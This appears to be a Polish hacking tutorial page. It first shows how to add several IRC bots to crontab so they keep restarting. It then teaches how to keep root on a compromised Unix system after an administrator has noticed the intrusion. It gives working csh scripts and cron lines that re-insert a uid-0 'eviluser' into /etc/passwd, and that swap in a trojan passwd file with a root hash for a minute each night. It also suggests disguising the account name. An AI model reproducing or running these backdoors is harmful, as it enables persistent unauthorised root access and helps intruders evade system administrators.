crontab - Ghostdog.pl
Transkrypt
crontab - Ghostdog.pl
CRONTAB Crontab jest dość powszechnie używanym programem w Unixie. Potrafi on mianowicie sprawdzać co określony przez użytkownika czas czy wybrany program jest uruchomiony. Jeśli tak nie jest to wtedy uruchamia dany program. Pliczek który pomaga w dopisywaniu botów do crona dodawany jest standardowo i znajduje się w katalogu "scripts". W zależności od tego czy mamy do czynienia z eggdropem czy tez "klonami" VoID'a pliki te nieznacznie się różnią. Opis instalacji innych botów brać można z opisu VoID'a. Opisane tam sposoby umożliwiają jednak dopisanie tylko 1 bota do crona. A co dzieje się jak spróbujemy dopisać ich więcej? Zazwyczaj cron podmienia stary wpis i w wyniku otrzymujemy tylko 1 wpisanego boa. Ewentualnie wpisze się kolejny bot, ale pojawia się problemy przy uruchamianiu ( występują szczególnie przy ponad 6 botach dopisanych w cronie ). Istnieje jednak bardzo prosty sposób na ominiecie tej bariery. Na koncie, na którym masz zainstalowane boty utworzy pliczek o dowolnej nazwie np.: autocron komenda touch nazwa_pliku ( w naszym przypadku nazwa_pliku=autocron ) Następnie dowolnym edytorem tekstu wpisujesz w pliku linijki: ./diverse bot1 ./diverse bot2 ./diverse bot3 Linijek może być dużo więcej a fragment ./diverse powinieneś zastąpić nazwa pliku wykonywalnego bota ( np.: ./RaviS, ./blow, ./eggdrop ./volron itp ) Kolejnym krokiem jest zmiana atrybutów utworzonego przed chwila pliku z tekstowego na wykonywalny. Aby to zrobić wpisz: chmod 755 nazwa_pliku ( w tym przypadku autocron ) Ostatnim już krokiem jest dopisanie pliku do crontaba tak aby uruchamiał się on wtedy gdy chcesz. Na koncie piszesz: crontab -e Powinien uruchomić się edytor vii. Teraz naciskasz klawisz A aby dodać nowa linijkę i piszesz: 0,10,20,30,40,50 * * * * /sciezka_do_pliku/nazwa_pliku >/dev/null 2>&1 ( w naszym przypadku 0,10,20,30,40,50 * * * * /home/bubu/diverse/autocron >/dev/null 2>&1 ) Po wpisaniu naciśnij klawisz ESC następnie ":" ( dwukropek ) i wpisz wq po czym kolejny raz pacnij ENTER. Jeśli wszystko poszło dobrze to boty powinny dopisać się do crona. Możesz to sprawdzić pisząc: crontab -l I to już koniec. Równie dobrze zamiast botów dopisać możemy dowolny inny program wpisując to w pliku autocron. Inne zastosowania crontaba: Konie trojańskie cron są dobre gdy admin połapał się z "drzwiami" a chcesz dalej utrzymać roota. Cron jest czasowym demonem, składa się z godzin, minut itd. Powoduje on ze system automatycznie daje dojście do komend w shellu, dając czas na wybór... Wpisz w shellu crontab, powie ci jak uruchomić i usunąć crona. Idź do /var/spool/cron/crontabs/root A oto jak wygląda cron: 0 0 * * 1 /usr/bin/updatedb [1] [2] [3] [4] [5] [ 6 ] 1.Minuty, 0-59 2.Godziny, 0-23 3.Dni w miesiącu, 1-31 4.Miesiace w roku, 1-12 5.Dni w tygodniu, 0-6 6.Komenda do wykonania Wykorzystać Cron'a w celu zostawienia sobie Backdoor'a można na wiele sposobów. Podam to kilka z nich. Oczywiście możesz sobie wymyślić na ich podstawie taki sposób który będzie ci najbardziej odpowiadał. Sposób I : ---------To przykładowy skrypt który będzie sprawdzał czy w pliku /etc/passwd znajduje się nasze konto z uid 0 ( które wcześniej oczywiście dodaliśmy ). Jeśli nie, automatycznie je doda za nas ( tutaj jest to użytkownik o nazwie 'eviluser', najlepiej zmień je na mniej podejrzane ) . Oczywiście jeżeli chcemy aby skrypt ten był wywoływany raz na dobę to wystarczy dodać do spisu poleceń Cron'a taka linijkę: 0 0 * * * /usr/bin/trojancode ---cut here--#!/bin/csh # Is our eviluser still on the system? Let's make sure he is. #[email protected] set evilflag = (`grep eviluser /etc/passwd`) if($#evilflag == 0) then # Is he there? set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files split -$linecount[1] ./temppass # passwd string optional echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done... else endif ---cut here--- Sposob II : ----------Do Crona możemy tez dorzucić linijkę która wywoła skrypt który np. o godz. 1:32 każdej nocy podmieni prawdziwy plik /etc/passwd na jakiś nasz schowany gdzieś w systemie np. w /var/spool/mail/.sneaky. Doprowadzi to do tego ze ty będziesz mógł się załogować ale w tym czasie nikt inny. Ale możesz zaraz po minucie zamienić pliki z powrotem. Wtedy normalnemu użytkownikowi podczas logowania wyskoczy błąd ale już np. za minutę wszystko będzie ok. Oto jak to zrobić : Najpierw stworzymy fałszywy plik passwd: #echo "root:SDhj65.daa:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky Teraz dodamy linijkę do Cron'a 32 1 * * * /bin/usr/sneakysneaky_passwd a teraz interesujący nas skrypt: ---cut here--#!/bin/csh # Install trojan /etc/passwd file for one minute #[email protected] cp /etc/passwd /etc/.temppass cp /var/spool/mail/.sneaky /etc/passwd sleep 60 mv /etc/.temppass /etc/passwd ---cut here--Sposób III : -----------Ustawiamy Cron'a np. raz w tygodniu w Środę na 3:00 AM, żeby dodał user'a do /etc/passwd z uid 0. Ustawiamy tez żeby np. o 4:00 AM tego dnia usunął dana linijkę z /etc/passwd ( albo mięć przygotowany passwd i tak jak wyżej tylko podmieniać ). W tym przypadku ty będziesz mógł się logować i inni tez gdyż passwd podmieniany będzie zawierał normalny passwd i jeszcze jedna dodatkowa linijkę z twoim użytkownikiem z uid 0. To wszystko są to przykłady jak wykorzystać Cron'a w celu założenia sobie Backdoor'ow na systemie i jak już powiedziałem to zależy tylko do Ciebie co dokładnie będzie wykonywane :).